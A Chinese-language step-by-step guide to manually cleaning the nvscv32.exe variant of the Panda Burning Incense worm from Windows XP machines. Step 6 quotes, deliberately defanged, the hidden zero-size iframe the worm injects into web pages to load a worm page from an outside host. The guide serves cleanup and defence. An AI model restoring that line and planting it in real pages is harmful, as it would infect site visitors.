熊貓燒香病毒nvscv32.exe變種手動清除方案 （1）

一、PConline提供的解決方案

　　1.拔網線；

　　2.重新進入WinXP安全模式，熊貓燒香病毒進程沒有加載，可使用“任務管理器”！（提示：開機後按住F8）

　　3.刪除病毒文件：%SystemRoot%\system32\drivers\nvscv32.exe。

　　4.開始菜單=>運行，運行msconfig命令。在“系統配置實用程序”中，取消與nvscv32.exe相關的進程。也可使用超級兔子魔法設置、HijackThis等，刪除nvscv32.exe的注冊表啟動項。

取消熊貓燒香病毒進程的啟動

　　5.下載並使用江民專殺工具，修復被感染的exe文件。並及時打上Windows補丁。

　　6.清除Html/ASP/PHP等，所有網頁文件中如下代碼：（為防止傳播代碼有三處修改，請將“。”換為“.”）

　　<iframe src=http://www。krvkr。com/worm。htm width=”0” height=”0”></iframe>

　　批量清除惡意代碼的方法：

• 　　可使用Dreamweaver的批量替換。

Dreamweaver批理替換的使用方法

• 　　可下載使用BatchTextReplacer批量替換。
• 　　部署了Symantec AntiVirus的企業，升級到最新病毒庫掃描全盤文件，即可清除被添加的惡意代碼和清除病毒文件。

　　7.用安裝殺毒軟件，並升級病毒庫，掃描整個硬盤，清除其他病毒文件。推薦PConline多次推薦的“免費卡巴斯基”——Active Virus Sheild。（xxxxxxxxxxxxx）（注：步驟7不能與步驟5調換，以免可修復的帶毒文件被刪除！）

　　8.刪除每個盤根目錄下的autorun.inf文件，利用搜索功能，將Desktop_.ini全部刪除。